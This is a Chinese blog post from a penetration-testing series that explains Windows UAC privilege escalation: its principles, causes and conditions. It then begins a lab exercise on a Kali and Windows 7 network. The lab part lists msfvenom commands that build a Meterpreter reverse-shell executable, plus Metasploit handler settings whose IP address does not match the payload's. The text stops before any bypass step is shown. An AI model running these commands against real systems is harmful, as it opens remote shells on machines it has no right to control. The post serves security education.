内网渗透Windows系统提权实战（2）

垚垚 Securify 前沿站

已于 2025-01-23 00:00:58 修改

阅读量1.1k

点赞数 24

分类专栏：内网渗透文章标签：网络安全 web安全系统安全计算机网络

于 2025-01-22 23:48:15 首次发布

本文链接：https://blog.youkuaiyun.com/xinyaoyaotu/article/details/145312359

版权

内网渗透专栏收录该内容

5 篇文章

订阅专栏

前言

在现代操作系统中，用户账户控制（User Account Control，简称 UAC）是一项重要的安全功能，旨在防止未经授权的软件更改系统设置或执行特权操作。它通过在执行可能影响系统的操作时要求用户确认或输入管理员凭据，来限制恶意软件或未经授权的用户对系统的更改。然而，尽管 UAC 的存在提高了系统的安全性，但在某些情况下，攻击者仍然可以通过各种技术绕过或利用 UAC，实现提权操作，从而获得更高的系统权限，这对系统的安全性构成了严重威胁。了解 UAC 提权的原理、产生原因、条件以及相应的防御措施，对于保障系统安全至关重要。本文将简单介绍usa提权并复现usa中的bypassuac提权。

UAC 提权原理

UAC 提权的核心是利用操作系统的漏洞或设计缺陷，欺骗或绕过 UAC 的防护机制，使原本以普通用户权限运行的进程能够获得管理员权限。

UAC 提权产生的原因

（一）软件漏洞
操作系统和应用程序的软件漏洞是 UAC 提权的主要原因之一。这些漏洞可能存在于系统服务、系统组件或第三方软件中，攻击者通过利用这些漏洞，可以绕过正常的 UAC 检查程序。例如，某些程序在处理 UAC 请求时可能存在逻辑漏洞，使得攻击者能够伪造请求或绕过 UAC 的验证逻辑。

（二）用户误操作
用户的误操作也可能为 UAC 提权提供机会。当用户频繁地允许某些程序绕过 UAC 提示，或者在未经充分考虑的情况下授予某些程序管理员权限，这就为恶意软件提供了可乘之机。一些恶意软件会伪装成正常的程序，诱使用户允许其通过 UAC 验证，从而实现提权。

（三）安全机制不完善
虽然 UAC 是一种安全机制，但它并非绝对完美。在某些复杂的攻击场景下，其安全机制可能存在漏洞，无法应对一些高级的攻击手段。例如，在某些环境中，UAC 的安全策略可能不够细化，无法有效区分合法和恶意的权限请求，或者在多进程、多线程的复杂环境中，UAC 的防护可能出现漏洞。

UAC 提权的条件

（一）用户权限
通常情况下，攻击者需要先以普通用户的身份登录系统。这是因为 UAC 提权的目的是从普通用户权限提升到管理员权限，所以需要在一个权限相对较低的基础上进行操作。

（二）目标系统漏洞
需要存在可利用的系统或软件漏洞，这是实现 UAC 提权的关键条件。如果目标系统没有相应的漏洞，攻击者将很难绕过 UAC 的防护。

（三）运行环境
需要一个允许执行恶意代码的运行环境，例如在一个未受保护的用户账户下，允许执行未经授权的可执行文件或脚本。如果系统对程序的执行有严格的白名单控制，那么实施 UAC 提权将变得更加困难。

提权实战

环境准备
kali:10.0.0.104
win7：10.0.0.102

使用的命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.104 LPORT=4444 -f exe -o payload.exe                                    #生成木马
use exploit/multi/handler                      #使用exploit/multi/handler模块
set payload windows/meterpreter/reverse_tcp    #配置使用的payload
set lhost 10.0.0.2                             #设置ip地址
set lport 4444                                 #设置端口信息
exploit                                        #执行漏洞利用          
getuid                                         #查看是否提权成功

今天实战的是bypassuac提权
首先使用 Metasploit 生成可执行文件获取 Meterpreter
启动 Metasploit：在 Kali Linux 等系统中，通过命令行输入 msfconsole 启动 Metasploit 框架。我这里进行了省略。

首先进入msf模式